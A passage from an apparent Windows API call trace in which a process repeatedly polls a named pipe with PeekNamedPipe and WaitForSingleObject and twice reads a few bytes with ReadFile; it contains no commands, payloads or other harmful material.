lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.056] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.085] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.085] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.117] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.117] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.147] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.148] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.180] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.181] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.211] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.211] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.243] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.243] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.272] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.272] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.305] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.305] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.335] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.335] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.367] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.367] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.397] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.397] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.429] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.429] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.459] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.460] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.492] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.492] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.522] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.522] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.557] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.557] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.584] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.584] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.749] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.749] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.794] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.795] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.858] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.859] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.959] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.961] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.022] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.022] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.133] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.134] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.239] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.239] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.284] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.284] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.383] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.383] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.411] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.411] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.443] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.443] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.473] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.474] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.506] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.506] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.536] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.537] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.568] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.568] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.599] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.599] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.634] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.635] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0101.839] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.839] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0102.080] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.091] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0102.113] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.113] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0102.273] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.273] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0102.330] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.330] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0102.565] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.565] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0102.648] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.648] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0102.899] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.900] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0102.925] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.925] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0102.956] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.956] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.188] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.189] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.206] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.206] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.236] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.236] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.386] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.532] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.601] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.601] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.626] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.626] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.686] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.686] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.718] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.718] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.735] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.736] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.768] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.768] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.798] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x46, lpBytesLeftThisMessage=0x0) returned 1 [0103.798] ReadFile (in: hFile=0x128, lpBuffer=0x22afb18, nNumberOfBytesToRead=0x46, lpNumberOfBytesRead=0x22af89c, lpOverlapped=0x0 | out: lpBuffer=0x22afb18*, lpNumberOfBytesRead=0x22af89c*=0x46, lpOverlapped=0x0) returned 1 [0103.798] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.830] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.830] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.860] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.861] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0103.892] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.893] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0104.315] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.315] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0104.344] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.344] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0104.469] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.469] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0104.500] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.500] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0104.531] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.531] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0104.564] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.564] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0104.593] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.593] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0104.626] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x4e, lpBytesLeftThisMessage=0x0) returned 1 [0104.626] ReadFile (in: hFile=0x128, lpBuffer=0x22afb18, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0x22af89c, lpOverlapped=0x0 | out: lpBuffer=0x22afb18*, lpNumberOfBytesRead=0x22af89c*=0x4e, lpOverlapped=0x0) returned 1 [0104.626] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0104.656] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.656] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 